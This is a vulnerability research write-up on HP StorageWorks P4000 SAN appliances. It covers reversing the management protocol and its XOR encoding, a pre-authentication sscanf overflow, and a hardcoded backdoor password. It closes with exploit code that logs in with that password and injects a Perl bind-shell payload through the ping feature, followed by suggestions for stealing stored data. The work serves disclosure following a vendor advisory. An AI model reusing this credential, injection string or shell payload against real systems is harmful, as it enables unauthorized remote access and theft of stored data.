In November 2011, HP published an advisory regarding their "HP StorageWorks P4000 Virtual SAN Appliance". However, these vulnerabilities are located in the "Centralized Management Console" (CMC) daemon which is used in the full "P4000 G2 SAN" range of products (including the P4300, P4500 and P4800 physical SAN devices). This post describes the process followed to identify these vulnerabilities.
First, what is this product ? HP VSA is a virtualized SAN infrastructure for VMware ESX or Microsoft Hyper-V environments. VSA consolidates server disk drives and external storage into a single virtual iSCSI SAN. This means that if you compromise the appliance, you also compromise any data stored in the SAN ! Next, where can we find the target software ? HP proposes a full trial version here. My tests were done on version 696_10503. The version now available is 696_10537 (probably safe but untested).
We now have a working VM with the HP VSA demo. The first step is to create some administration traffic (on port TCP/1383) using the Windows client, sniff it and try to reverse the protocol in order to later fuzz it. The first packets of the exchange are the following :
00000000 00 00 00 01 00 00 00 01 00 00 00 13 00 00 00 13 ........ ........
00000010 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 ........ ........
00000020 52 65 71 75 65 73 74 20 74 72 61 6e 73 66 6f 72 Request transfor
00000030 6d 73 00 ms.
00000000 00 00 00 01 00 00 00 01 00 00 00 19 00 00 00 13 ........ ........
00000010 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 ........ ........
00000020 52 65 73 70 6f 6e 73 65 20 74 72 61 6e 73 66 6f Response transfo
00000030 72 6d 73 3a 20 58 4f 52 00 rms: XOR .
00000033 00 00 00 01 00 00 00 01 00 00 00 13 00 00 00 13 ........ ........
00000043 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 ........ ........
00000053 4e 65 77 20 74 72 61 6e 73 66 6f 72 6d 3a 20 58 New tran sform: X
00000063 4f 52 00 OR.
00000039 00 00 00 01 00 00 00 01 00 00 00 15 00 00 00 13 ........ ........
00000049 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 ........ ........
00000059 4e 65 77 20 74 72 61 6e 73 66 6f 72 6d 20 4f 4b New tran sform OK
00000069 20 58 4f 52 00 XOR.
Based on this small exchange, we can detect a classic structure with a header followed by an ASCIIZ string.
We can suppose that the structure of the header is the following :
- the first 8 bytes are static : "00 00 00 01 00 00 00 01" (offset 0x00)
- the next 4 bytes represent the size of the ASCIIZ string (offset 0x08)
- the next 4 bytes are static : "00 00 00 13" (offset 0x0c)
- the next 16 bytes are static : "00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00" (offset 0x10)
From this point, the traffic is XOR-encoded :
00000066 00 00 00 01 00 00 00 01 00 00 00 35 00 00 00 35 ........ ...5...5
00000076 00 00 00 00 00 00 00 00 00 00 00 14 00 00 00 00 ........ ........
00000086 3e 3d 35 3b 3c 68 7d 33 36 3f 3b 3c 7d 30 30 30 >=5;<h}36 ?;<}000
00000096 30 30 30 30 30 7d 04 37 20 21 3b 3d 3c 72 70 6a 00000}.7 !;=<rpj
000000A6 7c 67 7c 62 62 70 7e 72 10 27 3b 3e 36 72 70 62 |g|bbp~r. ';>6rpb
000000B6 61 63 61 70 00 acap.
0000006E 00 00 00 00 00 00 00 01 00 00 00 0a 00 00 00 00 ........ ........
0000007E 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ........ ........
0000008E 1d 19 68 72 1e 3d 35 3b 3c 00 ..hr.=5; <.
Note : attentive readers have probably noticed that the format of the headers is now slighlty different, in both request and response. In fact, HP VSA isn't picky at all about the format of the header, as far as the size of the content is exact.
In order to go further, we need the XOR key. Given that the first XOR-encoded packet is the login request, we sent a request with a password string of "bbbbbbbb" and looked for a repetitive pattern (see above, from offset 0x66 to 0xBA). Do you see it ?
..............
OK, we have a string of 8 x "0" (ASCII 0x30) which may match the 8 x "b" (ASCII 0x62) if the key is 1 byte long. Quick calculation : 0x30 ^ 0x62 = 0x52. Let's try to verify it by trying to decode tshark (command-line version of Wireshark) output by piping it to a minimalist Python shell like this one :
import sys for line in sys.stdin: print '++ ', print ''.join( [ chr(ord(c) ^ 0x52) for c in line ] )
And it works ! ;-) We now know that our login request has the following format : "login:/MY_USER/MY_PASSSWD/Version "8.5.0"" and we can code a basic client fuzzer. After a few runs, the target process crashes while parsing overlong passwords. Debugging will reveal that sscanf() is used with fixed-length stack buffers and no length checks. The sscanf() pattern is "/%[^/]/%[^/]/%s %s" with arguments 1, 2 and 3 of size 1024. Argument 4 is smaller (<= 0x50 bytes).
A pre-authentication stack-based overflow is already a cool finding, but the disassembly will reveal something much more easy to exploit : hardcoded credentials !
This is the vulnerable call to sscanf():
The format parameter is stored in the .rodata section, and a very weird string ("L0CAlu53R") is located next to it and used in the same function:
This string is a magic password, working for every account !
Let's recap : we can exploit a pre-auth buffer-overflow and gain OS-level privileges or use the hard-coded password to gain application-level privileges. The easiest way (aka "attacker's path of least resistance") to have both would be to switch from application-level privileges (no memory corruption, 100% reliable) to OS-level privileges with another vulnerability involving manipulation of the file-system or commands execution.
So we browsed every part of the Windows client in order to explore every available feature. And we found a "Check connectivity" feature using "ping" without sanitizing the parameters.
The command has the following format :
get:/lhn/public/network/ping/<field1>/<field2>/ <field1> : IP address of the interface from which ICMP packets are send <field2> : target IP address or hostname
Given that Perl is installed on the appliance, we use the classic Metasploit payload to bind a shell on port TCP/12345 :
def send_Login():
# BACKDOOR
data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"'
send_packet(data)
def send_Exec():
# METASPLOIT PAYLOAD
cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept; \
$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
# COMMAND INJECTION BUG
data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'
# EXPLOIT
zprint('Now connect to port 12345 of machine ' + str(HOST))
send_packet(data)
Et voilà, mission accomplished ! We fully compromised the SAN appliance, allowing unauthorized acces to every data stored inside. Plausible next moves : reconfigure some interesting LUN, mount them and steal data (NTLM hashes, configuration files, raw database files, ...). A PoC code is available : hydragen.py.